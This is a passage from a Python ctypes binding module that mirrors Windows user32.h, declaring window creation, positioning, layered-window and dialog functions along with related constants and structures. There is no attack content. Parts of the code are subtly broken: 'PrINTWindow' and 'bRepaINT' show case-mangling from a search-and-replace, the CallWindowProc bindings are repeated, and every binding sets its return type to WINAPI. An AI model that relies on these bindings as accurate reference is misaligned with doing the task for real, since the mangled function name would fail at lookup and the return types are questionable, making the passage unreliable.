lResult);\nReplyMessage = user32.ReplyMessage\nReplyMessage.restype = WINAPI\n\n\n# WINAPI\n# WaitMessage(\n# VOID);\nWaitMessage = user32.WaitMessage\nWaitMessage.restype = WINAPI\n\n\n# WINAPI\n# WaitForInputIdle(\n# _In_ HANDLE hProcess,\n# _In_ DWORD dwMilliseconds);\nWaitForInputIdle = user32.WaitForInputIdle\nWaitForInputIdle.restype = WINAPI\n\n\n# #endif\n# DefWindowProcA(\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nDefWindowProcA = user32.DefWindowProcA\nDefWindowProcA.restype = WINAPI\n\n\n# #endif\n# DefWindowProcW(\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nDefWindowProcW = user32.DefWindowProcW\nDefWindowProcW.restype = WINAPI\n\nDefWindowProc = DefWindowProcW\n# DefWindowProc = DefWindowProcA\n\n# WINAPI\n# PostQuitMessage(\n# _In_ INT nExitCode);\nPostQuitMessage = user32.PostQuitMessage\nPostQuitMessage.restype = WINAPI\n\n\n# WINAPI\n# CallWindowProcA(\n# _In_ WNDPROC lpPrevWndFunc,\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nCallWindowProcA = user32.CallWindowProcA\nCallWindowProcA.restype = WINAPI\n\n\n# WINAPI\n# CallWindowProcW(\n# _In_ WNDPROC lpPrevWndFunc,\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nCallWindowProcW = user32.CallWindowProcW\nCallWindowProcW.restype = WINAPI\n\nCallWindowProc = CallWindowProcW\n# CallWindowProc = CallWindowProcA\n\n# WINAPI\n# CallWindowProcA(\n# _In_ FARPROC lpPrevWndFunc,\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nCallWindowProcA = user32.CallWindowProcA\nCallWindowProcA.restype = WINAPI\n\n\n# WINAPI\n# CallWindowProcW(\n# _In_ FARPROC lpPrevWndFunc,\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nCallWindowProcW = user32.CallWindowProcW\nCallWindowProcW.restype = WINAPI\n\nCallWindowProc = CallWindowProcW\n# CallWindowProc = CallWindowProcA\n\n# WINAPI\n# InSendMessage(\n# VOID);\nInSendMessage = user32.InSendMessage\nInSendMessage.restype = WINAPI\n\n\n# WINAPI\n# InSendMessageEx(\n# _Reserved_ LPVOID lpReserved);\nInSendMessageEx = user32.InSendMessageEx\nInSendMessageEx.restype = WINAPI\n\nISMEX_NOSEND = 0x00000000\nISMEX_SEND = 0x00000001\nISMEX_NOTIFY = 0x00000002\nISMEX_CALLBACK = 0x00000004\nISMEX_REPLIED = 0x00000008\n\n# WINAPI\n# GetDoubleClickTime(\n# VOID);\nGetDoubleClickTime = user32.GetDoubleClickTime\nGetDoubleClickTime.restype = WINAPI\n\n\n# WINAPI\n# SetDoubleClickTime(\n# _In_ UINT);\nSetDoubleClickTime = user32.SetDoubleClickTime\nSetDoubleClickTime.restype = WINAPI\n\n\n# WINAPI\n# RegisterClassA(\n# _In_ CONST WNDCLASSA *lpWndClass);\nRegisterClassA = user32.RegisterClassA\nRegisterClassA.restype = WINAPI\n\n\n# WINAPI\n# RegisterClassW(\n# _In_ CONST WNDCLASSW *lpWndClass);\nRegisterClassW = user32.RegisterClassW\nRegisterClassW.restype = WINAPI\n\nRegisterClass = RegisterClassW\n# RegisterClass = RegisterClassA\n\n# WINAPI\n# UnregisterClassA(\n# _In_ LPCSTR lpClassName,\n# _In_opt_ HINSTANCE hInstance);\nUnregisterClassA = user32.UnregisterClassA\nUnregisterClassA.restype = WINAPI\n\n\n# WINAPI\n# UnregisterClassW(\n# _In_ LPCWSTR lpClassName,\n# _In_opt_ HINSTANCE hInstance);\nUnregisterClassW = user32.UnregisterClassW\nUnregisterClassW.restype = WINAPI\n\nUnregisterClass = UnregisterClassW\n# UnregisterClass = UnregisterClassA\n\n# WINAPI\n# GetClassInfoA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCSTR lpClassName,\n# _Out_ LPWNDCLASSA lpWndClass);\nGetClassInfoA = user32.GetClassInfoA\nGetClassInfoA.restype = WINAPI\n\n\n# WINAPI\n# GetClassInfoW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCWSTR lpClassName,\n# _Out_ LPWNDCLASSW lpWndClass);\nGetClassInfoW = user32.GetClassInfoW\nGetClassInfoW.restype = WINAPI\n\nGetClassInfo = GetClassInfoW\n# GetClassInfo = GetClassInfoA\n\n# WINAPI\n# RegisterClassExA(\n# _In_ CONST WNDCLASSEXA *);\nRegisterClassExA = user32.RegisterClassExA\nRegisterClassExA.restype = WINAPI\n\n\n# WINAPI\n# RegisterClassExW(\n# _In_ CONST WNDCLASSEXW *);\nRegisterClassExW = user32.RegisterClassExW\nRegisterClassExW.restype = WINAPI\n\nRegisterClassEx = RegisterClassExW\n# RegisterClassEx = RegisterClassExA\n\n# WINAPI\n# GetClassInfoExA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCSTR lpszClass,\n# _Out_ LPWNDCLASSEXA lpwcx);\nGetClassInfoExA = user32.GetClassInfoExA\nGetClassInfoExA.restype = WINAPI\n\n\n# WINAPI\n# GetClassInfoExW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCWSTR lpszClass,\n# _Out_ LPWNDCLASSEXW lpwcx);\nGetClassInfoExW = user32.GetClassInfoExW\nGetClassInfoExW.restype = WINAPI\n\nGetClassInfoEx = GetClassInfoExW\n# GetClassInfoEx = GetClassInfoExA\nCW_USEDEFAULT = 0x80000000\nHWND_DESKTOP = 0\nPREGISTERCLASSNAMEW = BOOLEAN\n\n# WINAPI\n# CreateWindowExA(\n# _In_ DWORD dwExStyle,\n# _In_opt_ LPCSTR lpClassName,\n# _In_opt_ LPCSTR lpWindowName,\n# _In_ DWORD dwStyle,\n# _In_ INT X,\n# _In_ INT Y,\n# _In_ INT nWidth,\n# _In_ INT nHeight,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ HMENU hMenu,\n# _In_opt_ HINSTANCE hInstance,\n# _In_opt_ LPVOID lpParam);\nCreateWindowExA = user32.CreateWindowExA\nCreateWindowExA.restype = WINAPI\n\n\n# WINAPI\n# CreateWindowExW(\n# _In_ DWORD dwExStyle,\n# _In_opt_ LPCWSTR lpClassName,\n# _In_opt_ LPCWSTR lpWindowName,\n# _In_ DWORD dwStyle,\n# _In_ INT X,\n# _In_ INT Y,\n# _In_ INT nWidth,\n# _In_ INT nHeight,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ HMENU hMenu,\n# _In_opt_ HINSTANCE hInstance,\n# _In_opt_ LPVOID lpParam);\nCreateWindowExW = user32.CreateWindowExW\nCreateWindowExW.restype = WINAPI\n\nCreateWindowEx = CreateWindowExW\n# CreateWindowEx = CreateWindowExA\n\n\ndef CreateWindowA(lpClassName, lpWindowName, dwStyle, x, y, nWidth, nHeight, hWndParent, hMenu, hInstance, lpParam):\n return CreateWindowExA(0, lpClassName, lpWindowName, dwStyle, x, y, nWidth, nHeight, hWndParent, hMenu, hInstance, lpParam)\n\n\ndef CreateWindowW(lpClassName, lpWindowName, dwStyle, x, y, nWidth, nHeight, hWndParent, hMenu, hInstance, lpParam):\n return CreateWindowExW(0, lpClassName, lpWindowName, dwStyle, x, y, nWidth, nHeight, hWndParent, hMenu, hInstance, lpParam)\nCreateWindow = CreateWindowW\n# CreateWindow = CreateWindowA\n\n# WINAPI\n# IsWindow(\n# _In_opt_ HWND hWnd);\nIsWindow = user32.IsWindow\nIsWindow.restype = WINAPI\n\n\n# WINAPI\n# IsMenu(\n# _In_ HMENU hMenu);\nIsMenu = user32.IsMenu\nIsMenu.restype = WINAPI\n\n\n# WINAPI\n# IsChild(\n# _In_ HWND hWndParent,\n# _In_ HWND hWnd);\nIsChild = user32.IsChild\nIsChild.restype = WINAPI\n\n\n# WINAPI\n# DestroyWindow(\n# _In_ HWND hWnd);\nDestroyWindow = user32.DestroyWindow\nDestroyWindow.restype = WINAPI\n\n\n# WINAPI\n# ShowWindow(\n# _In_ HWND hWnd,\n# _In_ INT nCmdShow);\nShowWindow = user32.ShowWindow\nShowWindow.restype = WINAPI\n\n\n# WINAPI\n# AnimateWindow(\n# _In_ HWND hWnd,\n# _In_ DWORD dwTime,\n# _In_ DWORD dwFlags);\nAnimateWindow = user32.AnimateWindow\nAnimateWindow.restype = WINAPI\n\n\n# WINAPI\n# UpdateLayeredWindow(\n# _In_ HWND hWnd,\n# _In_opt_ HDC hdcDst,\n# _In_opt_ POINT* pptDst,\n# _In_opt_ SIZE* psize,\n# _In_opt_ HDC hdcSrc,\n# _In_opt_ POINT* pptSrc,\n# _In_ COLORREF crKey,\n# _In_opt_ BLENDFUNCTION* pblend,\n# _In_ DWORD dwFlags);\nUpdateLayeredWindow = user32.UpdateLayeredWindow\nUpdateLayeredWindow.restype = WINAPI\n\nfrom wingdi_h import BLENDFUNCTION\n\nclass tagUPDATELAYEREDWINDOWINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('hdcDst', HDC),\n ('pptDst', POINTER(POINT)),\n ('psize', POINTER(SIZE)),\n ('hdcSrc', HDC),\n ('pptSrc', POINTER(POINT)),\n ('crKey', COLORREF),\n ('pblend', POINTER(BLENDFUNCTION)),\n ('dwFlags', DWORD),\n ('prcDirty', POINTER(RECT)),\n ]\n\n\nUPDATELAYEREDWINDOWINFO = tagUPDATELAYEREDWINDOWINFO\nPUPDATELAYEREDWINDOWINFO = POINTER(tagUPDATELAYEREDWINDOWINFO)\n\n\n\n# WINAPI\n# UpdateLayeredWindowIndirect(\n# _In_ HWND hWnd,\n# _In_ UPDATELAYEREDWINDOWINFO* pULWInfo);\nUpdateLayeredWindowIndirect = user32.UpdateLayeredWindowIndirect\nUpdateLayeredWindowIndirect.restype = WINAPI\n\n\n# WINAPI\n# GetLayeredWindowAttributes(\n# _In_ HWND hwnd,\n# _Out_opt_ COLORREF* pcrKey,\n# _Out_opt_ BYTE* pbAlpha,\n# _Out_opt_ DWORD* pdwFlags);\nGetLayeredWindowAttributes = user32.GetLayeredWindowAttributes\nGetLayeredWindowAttributes.restype = WINAPI\n\nPW_CLIENTONLY = 0x00000001\nPW_RENDERFULLCONTENT = 0x00000002\n\n# WINAPI\n# PrINTWindow(\n# _In_ HWND hwnd,\n# _In_ HDC hdcBlt,\n# _In_ UINT nFlags);\nPrINTWindow = user32.PrINTWindow\nPrINTWindow.restype = WINAPI\n\n\n# WINAPI\n# SetLayeredWindowAttributes(\n# _In_ HWND hwnd,\n# _In_ COLORREF crKey,\n# _In_ BYTE bAlpha,\n# _In_ DWORD dwFlags);\nSetLayeredWindowAttributes = user32.SetLayeredWindowAttributes\nSetLayeredWindowAttributes.restype = WINAPI\n\nLWA_COLORKEY = 0x00000001\nLWA_ALPHA = 0x00000002\nULW_COLORKEY = 0x00000001\nULW_ALPHA = 0x00000002\nULW_OPAQUE = 0x00000004\nULW_EX_NORESIZE = 0x00000008\n\n# WINAPI\n# ShowWindowAsync(\n# _In_ HWND hWnd,\n# _In_ INT nCmdShow);\nShowWindowAsync = user32.ShowWindowAsync\nShowWindowAsync.restype = WINAPI\n\n\n# WINAPI\n# FlashWindow(\n# _In_ HWND hWnd,\n# _In_ BOOL bInvert);\nFlashWindow = user32.FlashWindow\nFlashWindow.restype = WINAPI\n\n\nclass FLASHWINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('hwnd', HWND),\n ('dwFlags', DWORD),\n ('uCount', UINT),\n ('dwTimeout', DWORD),\n ]\n\n\nPFLASHWINFO = POINTER(FLASHWINFO)\n\n\n\n# WINAPI\n# FlashWindowEx(\n# _In_ PFLASHWINFO pfwi);\nFlashWindowEx = user32.FlashWindowEx\nFlashWindowEx.restype = WINAPI\n\nFLASHW_STOP = 0x00000000\nFLASHW_CAPTION = 0x00000001\nFLASHW_TRAY = 0x00000002\nFLASHW_ALL = FLASHW_CAPTION | FLASHW_TRAY\nFLASHW_TIMER = 0x00000004\nFLASHW_TIMERNOFG = 0x0000000C\n\n# WINAPI\n# ShowOwnedPopups(\n# _In_ HWND hWnd,\n# _In_ BOOL fShow);\nShowOwnedPopups = user32.ShowOwnedPopups\nShowOwnedPopups.restype = WINAPI\n\n\n# WINAPI\n# OpenIcon(\n# _In_ HWND hWnd);\nOpenIcon = user32.OpenIcon\nOpenIcon.restype = WINAPI\n\n\n# WINAPI\n# CloseWindow(\n# _In_ HWND hWnd);\nCloseWindow = user32.CloseWindow\nCloseWindow.restype = WINAPI\n\n\n# WINAPI\n# MoveWindow(\n# _In_ HWND hWnd,\n# _In_ INT X,\n# _In_ INT Y,\n# _In_ INT nWidth,\n# _In_ INT nHeight,\n# _In_ BOOL bRepaINT);\nMoveWindow = user32.MoveWindow\nMoveWindow.restype = WINAPI\n\n\n# WINAPI\n# SetWindowPos(\n# _In_ HWND hWnd,\n# _In_opt_ HWND hWndInsertAfter,\n# _In_ INT X,\n# _In_ INT Y,\n# _In_ INT cx,\n# _In_ INT cy,\n# _In_ UINT uFlags);\nSetWindowPos = user32.SetWindowPos\nSetWindowPos.restype = WINAPI\n\n\n# WINAPI\n# GetWindowPlacement(\n# _In_ HWND hWnd,\n# _Inout_ WINDOWPLACEMENT *lpwndpl);\nGetWindowPlacement = user32.GetWindowPlacement\nGetWindowPlacement.restype = WINAPI\n\n\n# WINAPI\n# SetWindowPlacement(\n# _In_ HWND hWnd,\n# _In_ CONST WINDOWPLACEMENT *lpwndpl);\nSetWindowPlacement = user32.SetWindowPlacement\nSetWindowPlacement.restype = WINAPI\n\nWDA_NONE = 0x00000000\nWDA_MONITOR = 0x00000001\n\n# WINAPI\n# GetWindowDisplayAffinity(\n# _In_ HWND hWnd,\n# _Out_ DWORD* pdwAffinity);\nGetWindowDisplayAffinity = user32.GetWindowDisplayAffinity\nGetWindowDisplayAffinity.restype = WINAPI\n\n\n# WINAPI\n# SetWindowDisplayAffinity(\n# _In_ HWND hWnd,\n# _In_ DWORD dwAffinity);\nSetWindowDisplayAffinity = user32.SetWindowDisplayAffinity\nSetWindowDisplayAffinity.restype = WINAPI\n\n\n# WINAPI\n# BeginDeferWindowPos(\n# _In_ INT nNumWindows);\nBeginDeferWindowPos = user32.BeginDeferWindowPos\nBeginDeferWindowPos.restype = WINAPI\n\n\n# WINAPI\n# DeferWindowPos(\n# _In_ HDWP hWinPosInfo,\n# _In_ HWND hWnd,\n# _In_opt_ HWND hWndInsertAfter,\n# _In_ INT x,\n# _In_ INT y,\n# _In_ INT cx,\n# _In_ INT cy,\n# _In_ UINT uFlags);\nDeferWindowPos = user32.DeferWindowPos\nDeferWindowPos.restype = WINAPI\n\n\n# WINAPI\n# EndDeferWindowPos(\n# _In_ HDWP hWinPosInfo);\nEndDeferWindowPos = user32.EndDeferWindowPos\nEndDeferWindowPos.restype = WINAPI\n\n\n# WINAPI\n# IsWindowVisible(\n# _In_ HWND hWnd);\nIsWindowVisible = user32.IsWindowVisible\nIsWindowVisible.restype = WINAPI\n\n\n# WINAPI\n# IsIconic(\n# _In_ HWND hWnd);\nIsIconic = user32.IsIconic\nIsIconic.restype = WINAPI\n\n\n# WINAPI\n# AnyPopup(\n# VOID);\nAnyPopup = user32.AnyPopup\nAnyPopup.restype = WINAPI\n\n\n# WINAPI\n# BringWindowToTop(\n# _In_ HWND hWnd);\nBringWindowToTop = user32.BringWindowToTop\nBringWindowToTop.restype = WINAPI\n\n\n# WINAPI\n# IsZoomed(\n# _In_ HWND hWnd);\nIsZoomed = user32.IsZoomed\nIsZoomed.restype = WINAPI\n\nSWP_NOSIZE = 0x00000001\nSWP_NOMOVE = 0x00000002\nSWP_NOZORDER = 0x00000004\nSWP_NOREDRAW = 0x00000008\nSWP_NOACTIVATE = 0x00000010\nSWP_FRAMECHANGED = 0x00000020\nSWP_SHOWWINDOW = 0x00000040\nSWP_HIDEWINDOW = 0x00000080\nSWP_NOCOPYBITS = 0x00000100\nSWP_NOOWNERZORDER = 0x00000200\nSWP_NOSENDCHANGING = 0x00000400\nSWP_DRAWFRAME = SWP_FRAMECHANGED\nSWP_NOREPOSITION = SWP_NOOWNERZORDER\nSWP_DEFERERASE = 0x00002000\nSWP_ASYNCWINDOWPOS = 0x00004000\nHWND_TOP = 0\nHWND_BOTTOM = 1\nHWND_TOPMOST = -1\nHWND_NOTOPMOST = -2\n\n\nclass DLGTEMPLATE(ctypes.Structure):\n _fields_ = [\n ('style', DWORD),\n ('dwExtendedStyle', DWORD),\n ('cdit', WORD),\n ('x', SHORT),\n ('y', SHORT),\n ('cx', SHORT),\n ('cy', SHORT),\n ]\n\n\nLPDLGTEMPLATEA = POINTER(DLGTEMPLATE)\nLPDLGTEMPLATEW = POINTER(DLGTEMPLATE)\nLPDLGTEMPLATE = LPDLGTEMPLATEW\nLPCDLGTEMPLATEA = POINTER(CONST)\nLPCDLGTEMPLATEW = POINTER(CONST)\nLPCDLGTEMPLATE = LPCDLGTEMPLATEW\n\n\nclass DLGITEMTEMPLATE(ctypes.Structure):\n _fields_ = [\n ('style', DWORD),\n ('dwExtendedStyle', DWORD),\n ('x', SHORT),\n ('y', SHORT),\n ('cx', SHORT),\n ('cy', SHORT),\n ('id', WORD),\n ]\n\n\nPDLGITEMTEMPLATEA = POINTER(DLGITEMTEMPLATE)\nPDLGITEMTEMPLATEW = POINTER(DLGITEMTEMPLATE)\nPDLGITEMTEMPLATE = PDLGITEMTEMPLATEW\nLPDLGITEMTEMPLATEA = POINTER(DLGITEMTEMPLATE)\nLPDLGITEMTEMPLATEW = POINTER(DLGITEMTEMPLATE)\nLPDLGITEMTEMPLATE = LPDLGITEMTEMPLATEW\n\n# WINAPI\n# CreateDialogParamA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCSTR lpTemplateName,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ DLGPROC lpDialogFunc,\n# _In_ LPARAM dwInitParam);\nCreateDialogParamA = user32.CreateDialogParamA\nCreateDialogParamA.restype = WINAPI\n\n\n# WINAPI\n# CreateDialogParamW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCWSTR lpTemplateName,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ DLGPROC lpDialogFunc,\n# _In_ LPARAM dwInitParam);\nCreateDialogParamW = user32.CreateDialogParamW\nCreateDialogParamW.restype = WINAPI\n\nCreateDialogParam = CreateDialogParamW\n# CreateDialogParam = CreateDialogParamA\n\n# WINAPI\n# CreateDialogIndirectParamA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCDLGTEMPLATEA lpTemplate,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ DLGPROC lpDialogFunc,\n# _In_ LPARAM dwInitParam);\nCreateDialogIndirectParamA = user32.CreateDialogIndirectParamA\nCreateDialogIndirectParamA.restype = WINAPI\n\n\n# WINAPI\n# CreateDialogIndirectParamW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCDLGTEMPLATEW lpTemplate,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ DLGPROC lpDialogFunc,\n# _In_ LPARAM dwInitParam);\nCreateDialogIndirectParamW = user32.CreateDialogIndirectParamW\nCreateDialogIndirectParamW.restype = WINAPI\n\nCreateDialogIndirectParam = CreateDialogIndirectParamW\n# CreateDialogIndirectParam = CreateDialogIndirectParamA\n\n\ndef CreateDialogA(hInstance, lpName, hWndParent, lpDialogFunc):\n return CreateDialogParamA(hInstance, lpName, hWndParent, lpDialogFunc, 0)\n\n\ndef CreateDialogW(hInstance, lpName, hWndParent, lpDialogFunc):\n return CreateDialogParamW(hInstance, lpName, hWndParent, lpDialogFunc, 0)\n\n\nCreateDialog = CreateDialogW\n# CreateDialog = CreateDialogA\n\n\ndef CreateDialogIndirectA(hInstance, lpTemplate, hWndParent, lpDialogFunc):\n return CreateDialogIndirectParamA(hInstance, lpTemplate, hWndParent, lpDialogFunc, 0)\n\n\ndef CreateDialogIndirectW(hInstance, lpTemplate, hWndParent, lpDialogFunc):\n return CreateDialogIndirectParamW(hInstance, lpTemplate, hWndParent, lpDialogFunc, 0)\n\n\nCreateDialogIndirect = CreateDialogIndirectW\n# CreateDialogIndirect = CreateDialogIndirectA\n\n# WINAPI\n# DialogBoxParamA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCSTR lpTemplateName,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ DLGPROC lpDialogFunc,\n# _In_ LPARAM dwInitParam);\nDialogBoxParamA = user32.DialogBoxParamA\nDialogBoxParamA.restype = WINAPI\n\n\n# WINAPI\n# DialogBoxParamW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCWSTR lpTemplateName,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ DLGPROC lpDialogFunc,\n# _In_ LPARAM dwInitParam);\nDialogBoxParamW = user32.DialogBoxParamW\nDialogBoxParamW.restype = WINAPI\n\nDialogBoxParam = DialogBoxParamW\n# DialogBoxParam = DialogBoxParamA\n\n# WINAPI\n# DialogBoxIndirectParamA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCDLGTEMPLATEA hDialogTemplate,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ DLGPROC lpDialogFunc,\n# _In_ LPARAM dwInitParam);\nDialogBoxIndirectParamA = user32.DialogBoxIndirectParamA\nDialogBoxIndirectParamA.restype = WINAPI\n\n\n# WINAPI\n# DialogBoxIndirectParamW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCDLGTEMPLATEW hDialogTemplate,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ DLGPROC lpDialogFunc,\n# _In_ LPARAM dwInitParam);\nDialogBoxIndirectParamW = user32.DialogBoxIndirectParamW\nDialogBoxIndirectParamW.restype = WINAPI\n\nDialogBoxIndirectParam = DialogBoxIndirectParamW\n# DialogBoxIndirectParam = DialogBoxIndirectParamA\n\n\ndef DialogBoxA(hInstance, lpTemplate, hWndParent, lpDialogFunc):\n return DialogBoxParamA(hInstance, lpTemplate, hWndParent, lpDialogFunc, 0)\n\n\ndef DialogBoxW(hInstance, lpTemplate, hWndParent, lpDialogFunc):\n return DialogBoxParamW(hInstance, lpTemplate, hWndParent, lpDialogFunc, 0)\n\n\nDialogBox = DialogBoxW\n# DialogBox = DialogBoxA\n\n\ndef DialogBoxIndirectA(hInstance, lpTemplate, hWndParent, lpDialogFunc):\n return DialogBoxIndirectParamA(hInstance, lpTemplate, hWndParent, lpDialogFunc, 0)\n\n\ndef DialogBoxIndirectW(hInstance, lpTemplate, hWndParent, lpDialogFunc):\n return DialogBoxIndirectParamW(hInstance, lpTemplate, hWndParent, lpDialogFunc, 0)\n\n\nDialogBoxIndirect = DialogBoxIndirectW\n# DialogBoxIndirect = DialogBoxIndirectA\n\n# WINAPI\n# EndDialog(\n# _In_ HWND hDlg,\n# _In_ INT_PTR nResult);\nEndDialog = user32.EndDialog\nEndDialog.restype = WINAPI\n\n\n# WINAPI\n# GetDlgItem(\n# _In_opt_ HWND hDlg,\n# _In_ INT nIDDlgItem);\nGetDlgItem = user32.GetDlgItem\nGetDlgItem.restype = WINAPI\n\n\n# WINAPI\n# SetDlgItemInt(\n# _In_ HWND hDlg,\n# _In_ INT nIDDlgItem,\n# _In_ UINT uValue,\n# _In_ BOOL bSigned);\nSetDlgItemInt = user32.SetDlgItemInt\nSetDlgItemInt.restype = WINAPI\n\n\n# WINAPI\n# GetDlgItemInt(\n# _In_ HWND hDlg,\n# _In_ INT nIDDlgItem,\n# _Out_opt_ BOOL *lpTranslated,\n# _In_ BOOL bSigned);\nGetDlgItemInt = user32.GetDlgItemInt\nGetDlgItemInt.restype = WINAPI\n\n\n# WINAPI\n# SetDlgItemTextA(\n# _In_ HWND hDlg,\n# _In_ INT nIDDlgItem,\n# _In_ LPCSTR lpString);\nSetDlgItemTextA = user32.SetDlgItemTextA\nSetDlgItemTextA.restype = WINAPI\n\n\n# WINAPI\n# SetDlgItemTextW(\n# _In_ HWND hDlg,\n# _In_ INT nIDDlgItem,\n# _In_ LPCWSTR lpString);\nSetDlgItemTextW = user32.SetDlgItemTextW\nSetDlgItemTextW.restype = WINAPI\n\nSetDlgItemText = SetDlgItemTextW\n# SetDlgItemText = SetDlgItemTextA\n\n# WINAPI\n# GetDlgItemTextA(\n# _In_ HWND hDlg,\n# _In_ INT nIDDlgItem,\n# _Out_writes_(cchMax) LPSTR lpString,\n# _In_ INT cchMax);\nGetDlgItemTextA = user32.GetDlgItemTextA\nGetDlgItemTextA.restype = WINAPI\n\n\n# WINAPI\n# GetDlgItemTextW(\n# _In_ HWND hDlg,\n# _In_ INT nIDDlgItem,\n# _Out_writes_(cchMax) LPWSTR lpString,\n# _In_ INT cchMax);\nGetDlgItemTextW = user32.GetDlgItemTextW\nGetDlgItemTextW.restype = WINAPI\n\nGetDlgItemText = GetDlgItemTextW\n# GetDlgItemText = GetDlgItemTextA\n\n# WINAPI\n# CheckDlgButton(\n# _In_ HWND hDlg,\n# _In_ INT nIDButton,\n# _In_ UINT uCheck);\nCheckDlgButton = user32.CheckDlgButton\nCheckDlgButton.restype = WINAPI\n\n\n# WINAPI\n# CheckRadioButton(\n# _In_ HWND hDlg,\n# _In_ INT nIDFirstButton,\n# _In_ INT nIDLastButton,\n# _In_ INT nIDCheckButton);\nCheckRadioButton = user32.CheckRadioButton\nCheckRadioButton.restype = WINAPI\n\n\n# WINAPI\n# IsDlgButtonChecked(\n# _In_ HWND hDlg,\n# _In_ INT nIDButton);\nIsDlgButtonChecked = user32.IsDlgButtonChecked\nIsDlgButtonChecked.restype = WINAPI\n\n\n# WINAPI\n# SendDlgItemMessageA(\n# _In_ HWND hDlg,\n# _In_ INT nIDDlgItem,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nSendDlgItemMessageA = user32.SendDlgItemMessageA\nSendDlgItemMessageA.restype = WINAPI\n\n\n# WINAPI\n# SendDlgItemMessageW(\n# _In_ HWND hDlg,\n# _In_ INT nIDDlgItem,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nSendDlgItemMessageW = user32.SendDlgItemMessageW\nSendDlgItemMessageW.restype = WINAPI\n\nSendDlgItemMessage = SendDlgItemMessageW\n# SendDlgItemMessage = SendDlgItemMessageA\n\n# WINAPI\n# GetNextDlgGroupItem(\n# _In_ HWND hDlg,\n# _In_opt_ HWND hCtl,\n# _In_ BOOL bPrevious);\nGetNextDlgGroupItem = user32.GetNextDlgGroupItem\nGetNextDlgGroupItem.restype = WINAPI\n\n\n# WINAPI\n# GetNextDlgTabItem(\n# _In_ HWND hDlg,\n# _In_opt_ HWND hCtl,\n# _In_ BOOL bPrevious);\nGetNextDlgTabItem = user32.GetNextDlgTabItem\nGetNextDlgTabItem.restype = WINAPI\n\n\n# WINAPI\n# GetDlgCtrlID(\n# _In_ HWND hWnd);\nGetDlgCtrlID = user32.GetDlgCtrlID\nGetDlgCtrlID.restype = WINAPI\n\n\n# WINAPI\n# GetDialogBaseUnits(VOID);\nGetDialogBaseUnits = user32.GetDialogBaseUnits\nGetDialogBaseUnits.restype = WINAPI\n\n\n# #endif\n# DefDlgProcA(\n# _In_ HWND hDlg,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nDefDlgProcA = user32.DefDlgProcA\nDefDlgProcA.restype = WINAPI\n\n\n# #endif\n# DefDlgProcW(\n# _In_ HWND hDlg,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nDefDlgProcW = user32.DefDlgProcW\nDefDlgProcW.restype = WINAPI\n\nDefDlgProc = DefDlgProcW\n# DefDlgProc = DefDlgProcA\n\n\nclass DIALOG_CONTROL_DPI_CHANGE_BEHAVIORS(ENUM):\n DCDC_DEFAULT = 0x0000\n DCDC_DISABLE_FONT_UPDATE = 0x0001\n DCDC_DISABLE_RELAYOUT = 0x0002\n\n\n# WINAPI\n# SetDialogControlDpiChangeBehavior(\n# _In_ HWND hWnd,\n# _In_ DIALOG_CONTROL_DPI_CHANGE_BEHAVIORS mask,\n# _In_ DIALOG_CONTROL_DPI_CHANGE_BEHAVIORS values);\nSetDialogControlDpiChangeBehavior = user32.SetDialogControlDpiChangeBehavior\nSetDialogControlDpiChangeBehavior.restype = WINAPI\n\n\n# WINAPI\n# GetDialogControlDpiChangeBehavior(\n# _In_ HWND hWnd);\nGetDialogControlDpiChangeBehavior = user32.GetDialogControlDpiChangeBehavior\nGetDialogControlDpiChangeBehavior.restype = WINAPI\n\nclass DIALOG_DPI_CHANGE_BEHAVIORS(ENUM):\n DDC_DEFAULT = 0x0000\n DDC_DISABLE_ALL = 0x0001\n DDC_DISABLE_RESIZE = 0x0002\n DDC_DISABLE_CONTROL_RELAYOUT = 0x0004\n\n\n\n\n# WINAPI\n# SetDialogDpiChangeBehavior(\n# _In_ HWND hDlg,\n# _In_ DIALOG_DPI_CHANGE_BEHAVIORS mask,\n# _In_ DIALOG_DPI_CHANGE_BEHAVIORS values);\nSetDialogDpiChangeBehavior = user32.SetDialogDpiChangeBehavior\nSetDialogDpiChangeBehavior.restype = WINAPI\n\n\n# WINAPI\n# GetDialogDpiChangeBehavior(\n# _In_ HWND hDlg);\nGetDialogDpiChangeBehavior = 